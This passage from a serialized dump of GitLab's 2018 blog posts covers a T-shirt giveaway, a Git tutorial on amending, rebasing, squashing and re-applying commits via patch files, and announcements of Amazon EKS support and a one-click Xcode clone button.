src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## 5. Everyone can contribute\n\n[This GitLab principle](/company/mission/#mission) is applicable to your project’s workflow *and* our own application. Our platform allows all project stakeholders – from VPs and directors to ScrumMasters, developers and writers – to collaborate and communicate in one place, allowing for organized and open discourse.\n\nAnyone can create an issue or MR to improve GitLab. We welcome [community contributions](/community/contribute/) and celebrate them by designating a [Most Valuable Person](/community/mvp/) (MVP) every month. With [our public issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues), anyone can propose, contribute to, and discuss GitLab’s features. Since we ship a new release on the 22nd of each month, the implementation of public contributions and input are visible in short order.\n\n{::options parse_block_html=\"false\" /}\n\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">No problem, I mean what&#39;s not to love? You improve consistently, you listen to the community and you make using your platform feel like you&#39;re a part of something special. I support you all the way, I have no need to be \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> as I&#39;ve used \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> for nearly 2 years now\u003C/p>&mdash; LTN Games (@LTNGames) \u003Ca href=\"https://twitter.com/LTNGames/status/1003079862058409984?ref_src=twsrc%5Etfw\">June 3, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nReady to make your move? We’ve made it pretty easy to migrate projects to GitLab. Check out [our documentation](https://docs.gitlab.com/ee/user/project/import/) or this video tutorial to get moving today.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VYOXuOg9tQI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",{"slug":33161,"featured":6,"template":678},"why-move-to-gitlab","content:en-us:blog:why-move-to-gitlab.yml","Why Move To Gitlab","en-us/blog/why-move-to-gitlab.yml","en-us/blog/why-move-to-gitlab",{"_path":33167,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33168,"content":33174,"config":33178,"_id":33180,"_type":16,"title":33181,"_source":17,"_file":33182,"_stem":33183,"_extension":20},"/en-us/blog/gitlab-original-t-shirt",{"title":33169,"description":33170,"ogTitle":33169,"ogDescription":33170,"noIndex":6,"ogImage":33171,"ogUrl":33172,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33172,"schema":33173},"Here's a little something for our longtime friends","Were you #movingtogitlab before it was the thing to do? We want to acknowledge our community for supporting us from the beginning – find out how you can get your hands on a limited edition GitLab Originals T-shirt.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684052/Blog/Hero%20Images/gitlab-original-cover.jpg","https://about.gitlab.com/blog/gitlab-original-t-shirt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Here's a little something for our longtime friends\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-06-08\",\n      }",{"title":33169,"description":33170,"authors":33175,"heroImage":33171,"date":33176,"body":33177,"category":299},[711],"2018-06-08","\n\nWhat a week! Some pretty big news on Monday launched the [#movingtogitlab trend](/blog/movingtogitlab/), and we've been [overwhelmed by the enthusiasm](/blog/gitlab-ultimate-and-gold-free-for-education-and-open-source/). So, if you're new or #movingtogitlab now, welcome! But we don't want to forget our longtime fans and supporters. When GitLab CEO [Sid Sijbrandij](/company/team/#sytses) read your tweets about joining GitLab before everyone was #movingtogitlab, he created [an issue](https://gitlab.com/gitlab-com/marketing/general/issues/2684) and rallied the team to come up with something special.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003C!-- first tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">How can I be \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> if I&#39;ve already been using \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>?? \u003Ca href=\"https://t.co/4T15iS6nnS\">pic.twitter.com/4T15iS6nnS\u003C/a>\u003C/p>&mdash; Lana Del Taco (@lananotllama) \u003Ca href=\"https://twitter.com/lananotllama/status/1004381698581192704?ref_src=twsrc%5Etfw\">June 6, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We have switched to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> before it was cool. \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> \u003Ca href=\"https://t.co/y35huohDId\">pic.twitter.com/y35huohDId\u003C/a>\u003C/p>&mdash; Tom Kukrál (@tomkukral) \u003Ca href=\"https://twitter.com/tomkukral/status/1005101013483905024?ref_src=twsrc%5Etfw\">June 8, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- second tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Together since 1st Feb 2016 \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> ;)\u003Cbr> \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> \u003Ca href=\"https://t.co/XKZb5lsxNO\">pic.twitter.com/XKZb5lsxNO\u003C/a>\u003C/p>&mdash; Paweł Wojciechowski (@felixisflyingPL) \u003Ca href=\"https://twitter.com/felixisflyingPL/status/1005189901720195072?ref_src=twsrc%5Etfw\">June 8, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## How to get yours\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/gitlab-original-t-shirt.png){: .large.center}\n\nIf you're an active GitLab user and created your account before June 2nd, 2018, fill out [this form](http://eepurl.com/dxDP85) to apply for yours. You'll need a US shipping address too. Make sure you're quick, as the shirts are limited edition – only 1,250 of you will be able to show how legit you are 😎 As of Monday afternoon, just 383 of the shirts have been claimed, so there's still some time to grab one! \n\n## Why just the US?\n\nWe are a global company, but because this movement has moved so fast, it's even caught us by surprise. While we'd love to ship to everyone, the T-shirt is being custom made in the US (as we speak!), so it makes the most logistical sense to ship locally. To compare, the cost to ship the T-shirt within the US is $8, versus $85 for a reliable courier to Portugal. This is because when shipping internationally, we need to pay someone to fill out customs fees. Cheaper options do exist, but we don't want to sacrifice reliability as we'd hate for anyone's T-shirt not to reach them!\n\nIn addition to the high shipping costs on our end, we’re concerned that recipient will likely pay high VAT or customs fees when the shirt arrives.\n\nWe hope everyone understands – we had to move quickly and we'll have other freebies down the line that are more inclusive.\n\nWith the formalities out the way, if you didn't need to move to GitLab because you've been with us all along, please go forth and apply for your GitLab Originals T-shirt!\n",{"slug":33179,"featured":6,"template":678},"gitlab-original-t-shirt","content:en-us:blog:gitlab-original-t-shirt.yml","Gitlab Original T Shirt","en-us/blog/gitlab-original-t-shirt.yml","en-us/blog/gitlab-original-t-shirt",{"_path":33185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33186,"content":33192,"config":33198,"_id":33200,"_type":16,"title":33201,"_source":17,"_file":33202,"_stem":33203,"_extension":20},"/en-us/blog/keeping-git-commit-history-clean",{"title":33187,"description":33188,"ogTitle":33187,"ogDescription":33188,"noIndex":6,"ogImage":33189,"ogUrl":33190,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33190,"schema":33191},"How (and why!) to keep your Git commit history clean","Git commit history is very easy to mess up, here's how you can fix it!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659457/Blog/Hero%20Images/keep-git-commit-history-clean.jpg","https://about.gitlab.com/blog/keeping-git-commit-history-clean","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How (and why!) to keep your Git commit history clean\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kushal Pandya\"}],\n        \"datePublished\": \"2018-06-07\",\n      }",{"title":33187,"description":33188,"authors":33193,"heroImage":33189,"date":33195,"body":33196,"category":734,"tags":33197},[33194],"Kushal Pandya","2018-06-07","\n\nGit commits are one of the key parts of a [Git repository](/solutions/source-code-management/), and more so, the _commit message_ is a life log for the repository. As the project/repository evolves over time (new features getting added, bugs being fixed, architecture being refactored), commit messages are the place where one can see what was changed and how. So it's important that these messages reflect the underlying change in a short, precise manner.\n\n## Why a meaningful Git commit history is important\n\nWhat does Git commit do? Git commit messages are the fingerprints that you leave on the code you touch. Any code that you commit today, a year from now when you look at the same change; you would be thankful for a clear, meaningful commit message that you wrote, and it will also make the lives of your fellow developers easier. When Git commits are isolated based on context, a bug which was introduced by a single commit becomes quicker to find, and the easier it is to revert the commit which caused the bug in the first place.\n\nWhile working on a large project, we often deal with a lot of moving parts that are updated, added or removed. Ensuring that commit messages are maintained in such cases could be tricky, especially when development spans across days, weeks, or even months. So to simplify the effort of maintaining concise commit history, this article will use some of the common situations that a developer might face while working on a Git repository.\n\n- [Situation 1: I need to change the most recent commit](#situation-1-i-need-to-change-the-most-recent-commit)\n- [Situation 2: I need to change a specific commit](#situation-2-i-need-to-change-a-specific-commit)\n- [Situation 3: I need to add, remove, or combine commits](#situation-3-i-need-to-add-remove-or-combine-commits)\n- [Situation 4: My commit history doesn't make sense, I need a fresh start!](#situation-4-my-commit-history-doesnt-make-sense-i-need-a-fresh-start)\n\nBut before we dive in, let's quickly go through what a typical development workflow looks like in our hypothetical Ruby application.\n\n**Note:** This article assumes that you are aware about basics of Git, how branches work, how to add uncommitted changes of a branch to stage and how to commit the changes. If you're unsure of these flows, [our documentation](https://docs.gitlab.com/ee/topics/git/index.html) is a great starting point.\n\n## A day in the life\n\nHere, we are working on a small Ruby on Rails project where we need to add a navigation view on the homepage and that involves updating and adding several files. Following is a step by step breakdown of the entire flow:\n\n- You start working on a feature with updating a single file; let's call it `application_controller.rb`\n- This feature requires you to also update a view: `index.html.haml`\n- You added a partial which is used in index page: `_navigation.html.haml`\n- Styles for the page also need to be updated to reflect the partial we added: `styles.css.scss`\n- Feature is now ready with the desired changes, time to also update tests; files to be updated are as follows:\n  - `application_controller_spec.rb`\n  - `navigation_spec.rb`\n- Tests are updated and passing as expected, now time to commit the changes!\n\nSince all the files belong to different territories of the architecture, we commit the changes isolated of each other to ensure that each commit represents a certain context and is made in a certain order. I usually prefer backend -> frontend order where most backend-centric change is committed first, followed by the middle layer and then by frontend-centric changes in the Git list commits.\n\n\n1.  `application_controller.rb` & `application_controller_spec.rb`; **Add routes for navigation**.\n2.  `_navigation.html.haml` &  `navigation_spec.rb`; **Page Navigation View**.\n3.  `index.html.haml`; **Render navigation partial**.\n4.  `styles.css.scss`; **Add styles for navigation**.\n\nNow that we have our changes committed, we create a merge request with the branch. Once you have merge request open, it typically gets reviewed by your peer before the changes are merged into repo's `master` branch. Now let's learn what different situations we may end up with during code review.\n\n## Situation 1: How to change the most recent Git commit\n\nImagine a case where the reviewer looked at `styles.css.scss` and suggested a change. In such a case, it is very simple to do the change as the stylesheet changes are part of **last** commit on your branch. Here's how we can handle this;\n\n- You directly do the necessary changes to `styles.css.scss` in your current branch.\n- Once you're done with the changes, add these changes to stage; run `git add styles.css.scss`.\n- Once changes are staged, we need to _add_ these changes to our last commit; run `git commit --amend`.\n  -  **Command breakdown**: Here, we're asking the `git commit` command to _amend_ whatever changes are present in stage to the most recent commit.\n- This will open your last commit in your Git-defined text editor which has the commit message **Add styles for navigation**.\n- Since we only updated the CSS declaration, we don't need to alter the commit message. At this point, you can just save and exit the text editor that Git opened for you and your changes will be reflected in the commit.\n\nSince you modified an existing Git commit, these changes are required to be _force pushed_ to your remote repo using `git push --force-with-lease \u003Cremote_name> \u003Cbranch_name>`. This command will override the commit `Add styles for navigation` on remote repo with updated commit that we just made in our local repo.\n\nOne thing to keep in mind while force pushing branches is that if you are working on the same branch with multiple people, force pushing may cause trouble for other users when they try to normally push their changes on a remote branch that has new commits force pushed. Hence, use this feature wisely. You can learn more about Git force push options [here](https://git-scm.com/docs/git-push#git-push---no-force-with-lease).\n\n## Situation 2: How to change a specific Git commit changes\n\nIn the previous situation, the Git commit change was rather simple as we had to modify only our last Git commit, but imagine if reviewer suggested to change something in `_navigation.html.haml`. In this case, it is second commit from the top, so changing it won't be as direct as it was in the first situation. Let's see how we can handle this:\n\nWhenever a commit is made in a branch, it is identified by a unique SHA-1 hash string. Think of it as a unique ID that separates one commit from another. You can view all the previous commits, along with their SHA-1 hashes in a branch by running the `git log` command. With this, you would see an output that looks somewhat as follows and is a list of commits, where the most recent commits are at the top;\n\n```\ncommit aa0a35a867ed2094da60042062e8f3d6000e3952 (HEAD -> add-page-navigation)\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\nDate: Wed May 2 15:24:02 2018 +0530\n\n    Add styles for navigation\n\ncommit c22a3fa0c5cdc175f2b8232b9704079d27c619d0\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\nDate: Wed May 2 08:42:52 2018 +0000\n\n    Render navigation partial\n\ncommit 4155df1cdc7be01c98b0773497ff65c22ba1549f\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\nDate: Wed May 2 08:42:51 2018 +0000\n\n    Page Navigation View\n\ncommit 8d74af102941aa0b51e1a35b8ad731284e4b5a20\nAuthor: Kushal Pandya \u003Ckushal@gitlab.com>\nDate: Wed May 2 08:12:20 2018 +0000\n\n    Add routes for navigation\n```\n\nThis is where `git rebase` command comes into play. Whenever we wish to edit a specific commit with `git rebase`, we need to first rebase our branch by moving back HEAD to the point right _before_ the commit we wish to edit. In our case, we need to change the commit that reads `Page Navigation View`.\n\n![Commit Log](https://about.gitlab.com/images/blogimages/keeping-git-commit-history-clean/GitRebase.png){: .shadow.center.medium}\n\nHere, notice the hash of commit which is right before the commit we want to modify; copy the hash and perform the following steps:\n\n- Rebase the branch to move to commit before our target commit; run `git rebase -i 8d74af102941aa0b51e1a35b8ad731284e4b5a20`\n  -  **Git command breakdown**: Here we're running Git's `rebase` command with _interactive_ mode with provided SHA-1 hash as commit to rebase to.\n- This will run rebase command for Git in interactive mode and will open your text editor showing all of your commits that came _after_ the commit you rebased to. It will look somewhat like this:\n\n```\npick 4155df1cdc7 Page Navigation View\npick c22a3fa0c5c Render navigation partial\npick aa0a35a867e Add styles for navigation\n\n# Rebase 8d74af10294..aa0a35a867e onto 8d74af10294 (3 commands)\n#\n# Commands:\n# p, pick = use commit\n# r, reword = use commit, but edit the commit message\n# e, edit = use commit, but stop for amending\n# s, squash = use commit, but meld into previous commit\n# f, fixup = like \"squash\", but discard this commit's log message\n# x, exec = run command (the rest of the line) using shell\n# d, drop = remove Git commit\n#\n# These lines can be re-ordered; they are executed from top to bottom.\n#\n# If you remove a line here THAT COMMIT WILL BE LOST.\n#\n# However, if you remove everything, the rebase will be aborted.\n#\n# Note that empty commits are commented out\n```\n\nNotice how each commit has a word `pick` in front of it, and in the contents below, there are all possible keywords we can use. Since we want to _edit_ a commit, we need to change `pick 4155df1cdc7 Page Navigation View` to `edit 4155df1cdc7 Page Navigation View`. Save the changes and exit editor.\n\nNow your branch is rebased to the point in time right before the commit you made which included `_navigation.html.haml`. Open the file and perform desired changes as per the review feedback. Once you're done with the changes, stage them by running `git add _navigation.html.haml`.\n\nSince we have staged the changes, it is time to move branch HEAD back to the commit we originally had (while also including the new changes we added), run `git rebase --continue`, this will open your default editor in the terminal and show you the commit message that we edited during rebase; `Page Navigation View`. You can change this message if you wish, but we would leave it as it is for now, so save and exit the editor. At this point, Git will replay all the commits that followed after the commit you just edited and now branch `HEAD` is back to the top commit we originally had, and it also includes the new changes you made to one of the commits.\n\nSince we again modified a commit that's already present in remote repo, we need force push this branch again using `git push --force-with-lease \u003Cremote_name> \u003Cbranch_name>`.\n\n## Situation 3: How to add, remove, or combine Git commits\n\nA common situation is when you've made several commits just to fix something previously committed. Now let's reduce them as much as we can, combining them with the original commits.\n\nAll you need to do is start the interactive rebase as you would in the other scenarios.\n\n```\npick 4155df1cdc7 Page Navigation View\npick c22a3fa0c5c Render navigation partial\npick aa0a35a867e Add styles for navigation\npick 62e858a322 Fix a typo\npick 5c25eb48c8 Ops another fix\npick 7f0718efe9 Fix 2\npick f0ffc19ef7 Argh Another fix!\n```\n\nNow imagine you want to combine all those fixes into `c22a3fa0c5c Render navigation partial`. You just need to:\n\n1. Move the fixes up so that they are right below the commit you want to keep in the end.\n2. Change `pick` to `squash` or `fixup` for each of the fixes.\n\n*Note:* `squash` keeps the git fix commit messages in the description. `fixup` will forget the commit messages of the fixes and keep the original.\n\nYou'll end up with something like this:\n\n```\npick 4155df1cdc7 Page Navigation View\npick c22a3fa0c5c Render navigation partial\nfixup 62e858a322 Fix a typo\nfixup 5c25eb48c8 Ops another fix\nfixup 7f0718efe9 Fix 2\nfixup f0ffc19ef7 Argh Another fix!\npick aa0a35a867e Add styles for navigation\n```\n\nSave the changes, exit the editor, and you're done! This is the resulting history:\n\n```\npick 4155df1cdc7 Page Navigation View\npick 96373c0bcf Render navigation partial\npick aa0a35a867e Add styles for navigation\n```\n\nAs before, all you need to do now is `git push --force-with-lease \u003Cremote_name> \u003Cbranch_name>` and the changes are up.\n\nIf you want to remove a Git commit from branch altogether, instead of `squash` or `fixup`, just write `drop` or simply delete that line.\n\n### How to avoid Git commit conflicts\n\nTo avoid conflicts, make sure the commits you're moving up the timeline aren't touching the same files touched by the commits left after them.\n\n```\npick 4155df1cdc7 Page Navigation View\npick c22a3fa0c5c Render navigation partial\nfixup 62e858a322 Fix a typo                 # this changes styles.css\nfixup 5c25eb48c8 Ops another fix            # this changes image/logo.svg\nfixup 7f0718efe9 Fix 2                      # this changes styles.css\nfixup f0ffc19ef7 Argh Another fix!          # this changes styles.css\npick aa0a35a867e Add styles for navigation  # this changes index.html (no conflict)\n```\n\n### Pro-tip: Quick Git commit `fixup`s\n\nIf you know exactly which commit you want to fixup, when committing you don't have to waste brain cycles thinking of good temporary names for \"Fix 1\", \"Fix 2\", ..., \"Fix 42\".\n\n**Step 1: Meet `--fixup`**\n\nAfter you've staged the changes fixing whatever it is that needs fixing, just Git commit all the changes like this:\n\n```\ngit commit --fixup c22a3fa0c5c\n```\n(Note that this is the hash for the commit `c22a3fa0c5c Render navigation partial`)\n\nThis will generate this commit message: `fixup! Render navigation partial`.\n\n**Step 2: And the sidekick `--autosquash`**\n\nEasy interactive rebase. You can have `git` place the `fixup`s automatically in the right place.\n\n`git rebase -i 4155df1cdc7 --autosquash`\n\nHistory will be shown like so:\n```\npick 4155df1cdc7 Page Navigation View\npick c22a3fa0c5c Render navigation partial\nfixup 62e858a322 Fix a typo\nfixup 5c25eb48c8 Ops another fix\nfixup 7f0718efe9 Fix 2\nfixup f0ffc19ef7 Argh Another fix!\npick aa0a35a867e Add styles for navigation\n```\n\nReady for you to just review and proceed.\n\nIf you're feeling adventurous you can do a non-interactive rebase `git rebase --autosquash`, but only if you like living dangerously, as you'll have no opportunity to review the squashes being made before they're applied.\n\n## Situation 4: My Git commit history doesn't make sense, I need a fresh start!\n\nIf we're working on a large feature, it is common to have several fixup and review-feedback changes that are being committed frequently. Instead of constantly rebasing the branch, we can leave the cleaning up of Git commits until the end of development.\n\nThis is where creating patch files is extremely handy. In fact, patch files were the primary way of sharing code over email while collaborating on large open source projects before Git-based services like GitLab were available to developers. Imagine you have one such branch (eg; `add-page-navigation`) where there are tons of commits that don't convey the underlying changes clearly. Here's how you can create a patch file for all the changes you made in this branch:\n\n- The first step to create the patch file is to make sure that your branch has all the changes present from `master` branch and has no conflicts with the same.\n- You can run `git rebase master` or `git merge master` while you're checked out in `add-page-navigation` branch to get all the changes from `master` on to your branch.\n- Now create the patch file; run `git diff master add-page-navigation > ~/add_page_navigation.patch`.\n  -  **Command breakdown**: Here we're using Git's _diff_ feature, and asking for a diff between `master` branch and `add-page-navigation` branch, and _redirecting_ the output (via `>` symbol) to a file named `add_page_navigation.patch` in our user home directory (typically `~/` in *nix operating systems).\n- You can specify any path you wish to keep this file in and the file name and extension could be anything you want.\n- Once the command is run and you don't see any errors, the patch file is generated.\n- Now checkout `master` branch; run `git checkout master`.\n- Delete the branch `add-page-navigation` from local repo; run `git branch -D add-page-navigation`. Remember, we already have changes of this branch in a created patch file.\n- Now create a new branch with the same name (while `master` is checked out); run `git checkout -b add-page-navigation`.\n- At this point, this is a fresh branch and doesn't have any of your changes.\n- Finally, apply your changes from the patch file; `git apply ~/add_page_navigation.patch`.\n- Here, all of your changes are applied in a branch and they will appear as uncommitted, as if all your modification where done, but none of the modifications were actually committed in the branch.\n- Now you can go ahead and commit individual files or files grouped by area of impact in the order you want with concise commit messages.\n\nAs with previous situations, we basically modified the whole branch, so it is time to force push!\n\n## Git commit history: Conclusion\n\nWhile we have covered most common and basic situations that arise in a day-to-day workflow with Git, rewriting Git history is a vast topic and as you get familiar with above tips, you can learn more advanced concepts around the subject in the [Git Official Documentation](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History). Happy git'ing!\n\nPhoto by [pan xiaozhen](https://unsplash.com/photos/pj-BrFZ9eAA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/clean?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1067,1444],{"slug":33199,"featured":6,"template":678},"keeping-git-commit-history-clean","content:en-us:blog:keeping-git-commit-history-clean.yml","Keeping Git Commit History Clean","en-us/blog/keeping-git-commit-history-clean.yml","en-us/blog/keeping-git-commit-history-clean",{"_path":33205,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33206,"content":33211,"config":33216,"_id":33218,"_type":16,"title":33219,"_source":17,"_file":33220,"_stem":33221,"_extension":20},"/en-us/blog/eks-gitlab-integration",{"title":33207,"description":33208,"ogTitle":33207,"ogDescription":33208,"noIndex":6,"ogImage":23744,"ogUrl":33209,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33209,"schema":33210},"Simple deployment to Amazon EKS","Amazon EKS is now GA! We’ve partnered with AWS to make sure GitLab support is available out of the gate. Here’s how you can take advantage.","https://about.gitlab.com/blog/eks-gitlab-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Simple deployment to Amazon EKS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2018-06-06\",\n      }",{"title":33207,"description":33208,"authors":33212,"heroImage":23744,"date":33213,"body":33214,"category":736,"tags":33215},[16962],"2018-06-06","\n\nUPDATE: As of GitLab 12.5 you can create EKS clusters from GitLab using the [EKS Integration](https://about.gitlab.com/releases/2019/11/22/gitlab-12-5-released/#easily-create-and-deploy-to-an-eks-cluster)\n{: .alert .alert-info .note} \n\nRecently, Amazon announced that Elastic Container Service for Kubernetes (EKS) is generally available. Previously only open to a few folks via request access, EKS is now available to everyone, allowing all users to get managed Kubernetes clusters on AWS. In light of this development, we’re excited to announce official support for EKS with GitLab.\n\nGitLab is designed for Kubernetes. While you can use GitLab to deploy anywhere, from bare metal to VMs, when you deploy to Kubernetes, you get access to the most powerful features. In this post, I’ll walk through our Kubernetes integration, highlight a few key features, and discuss how you can use the integration with EKS.\n\n## What’s EKS?\n\nManually setting up and managing Kubernetes can be a time-intensive process. The time it takes to install and operate Kubernetes is time you could be spending building software. Amazon EKS is a managed Kubernetes service, which means Amazon does the heavy lifting, such as provisioning, upgrades, and patching. EKS runs upstream Kubernetes and is Certified Kubernetes Conformant, so it’s compatible with existing plugins and tooling. And, of course, if you are an AWS user, EKS is the only Kubernetes service that lets you take advantage of tight integration with other AWS services and features.\n\n![Amazon EKS](https://about.gitlab.com/images/blogimages/eks-integration/amazon-eks-logo.png){: .medium.center}\n\n## Kubernetes integration\n\nGitLab’s tight [integration with Kubernetes](/solutions/kubernetes/) unlocks a set of powerful GitLab features along with the ability to [one-click install](https://docs.gitlab.com/ee/user/project/clusters/index.html#installing-applications) applications like Helm, Ingress, Prometheus, and GitLab Runner to your cluster. In this post, I’ll highlight a few key features: Auto DevOps, Deploy Boards, and Incremental Rollout. For a full list, check out the [Kubernetes integration docs](https://docs.gitlab.com/ee/user/project/clusters/index.html#what-you-can-get-with-the-kubernetes-integration).\n\n## Auto DevOps: Just commit and GitLab does the rest\n\nThe first GitLab feature that relies on Kubernetes is Auto DevOps. Auto DevOps automatically builds, tests, deploys, and monitors your application. It’s like an application PaaS without the scaling limitations.\n\n![GitLab Auto DevOps](https://about.gitlab.com/images/blogimages/eks-integration/gitlab-auto-devops.png){: .shadow.medium.center}\n\n## Deploy Boards: Get visibility into deployments\n\nDeploy Boards give you a live view of the current health and status of each environment running on Kubernetes, displaying the status of pods in deployment. You can watch as your software is deployed to each pod so you know what percentage of your application is running the new code and when a deployment is complete across your entire fleet.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/eks-integration/gitlab-deploy-boards.png){: .shadow.medium.center}\n\n## Incremental rollout: Safeguard your users\n\nShipping a new production release always comes with a bit of anxiety. Even with rigorous testing, new code in production can end up doing weird things to your app that degrade the user experience. With incremental rollout, you can choose to deploy to only 10, 25, 50, or 100 percent of your fleet. Incremental rollouts allow you to monitor what’s going on, and if anything is amiss, you can roll back the changes before problems affect your entire user base.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/eks-integration/gitlab-incremental-rollout.png){: .shadow.medium.center}\n\n## Getting started with GitLab and Amazon EKS\n\nYou can connect an Amazon EKS cluster to your GitLab project by logging into GitLab and heading to CI/CD > Kubernetes. For a step-by-step walkthrough, check out the [GitLab Amazon EKS docs](https://docs.gitlab.com/ee/user/project/clusters/add_eks_clusters.html).\n",[232,736],{"slug":33217,"featured":6,"template":678},"eks-gitlab-integration","content:en-us:blog:eks-gitlab-integration.yml","Eks Gitlab Integration","en-us/blog/eks-gitlab-integration.yml","en-us/blog/eks-gitlab-integration",{"_path":33223,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33224,"content":33230,"config":33234,"_id":33236,"_type":16,"title":33237,"_source":17,"_file":33238,"_stem":33239,"_extension":20},"/en-us/blog/one-click-clone-to-xcode",{"title":33225,"description":33226,"ogTitle":33225,"ogDescription":33226,"noIndex":6,"ogImage":33227,"ogUrl":33228,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33228,"schema":33229},"Announcing GitLab one-click clone to Xcode","GitLab's Xcode integration allows you to clone repos to Xcode with a single click!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680081/Blog/Hero%20Images/apple-xcode-cover.jpg","https://about.gitlab.com/blog/one-click-clone-to-xcode","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing GitLab one-click clone to Xcode\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2018-06-06\",\n      }",{"title":33225,"description":33226,"authors":33231,"heroImage":33227,"date":33213,"body":33232,"category":299,"tags":33233},[16962],"\n\nYesterday at WWDC, [Apple announced our Xcode integration with GitLab](https://twitter.com/gitlab/status/1003764673454342144), which makes it easier to work with your Xcode projects hosted in GitLab.\n\nProjects that contain a `.xcodeproj` or `.xcworkspace` file can now be cloned in Xcode using the new **Open in Xcode** button in GitLab. When viewing Xcode projects in the GitLab interface, the button will be available in GitLab next to the Git URL for cloning your project.\n\n![Open in Xcode Button](https://about.gitlab.com/images/blogimages/open-in-xcode-button.png){: .shadow.medium.center}\n\nThe button is available on GitLab.com, and will be available to self-managed GitLab instances in GitLab 11.0 from June 22, 2018. The button works with Xcode 9 and above.\n\nBe on the lookout as we have even more enhancements on the way with GitLab 11.0.\n",[232,736],{"slug":33235,"featured":6,"template":678},"one-click-clone-to-xcode","content:en-us:blog:one-click-clone-to-xcode.yml","One Click Clone To Xcode","en-us/blog/one-click-clone-to-xcode.yml","en-us/blog/one-click-clone-to-xcode",{"_path":33241,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33242,"content":33248,"config":33253,"_id":33255,"_type":16,"title":33256,"_source":17,"_file":33257,"_stem":33258,"_extension":20},"/en-us/blog/gitlab-ultimate-and-gold-free-for-education-and-open-source",{"title":33243,"description":33244,"ogTitle":33243,"ogDescription":33244,"noIndex":6,"ogImage":33245,"ogUrl":33246,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33246,"schema":33247},"GitLab Ultimate and Gold now free for education and open source","Our top-tier SaaS and self-managed offerings are now free to educational institutions and open source projects. Find out how to apply.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680096/Blog/Hero%20Images/open-source-education-cover.png","https://about.gitlab.com/blog/gitlab-ultimate-and-gold-free-for-education-and-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Ultimate and Gold now free for education and open source\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": 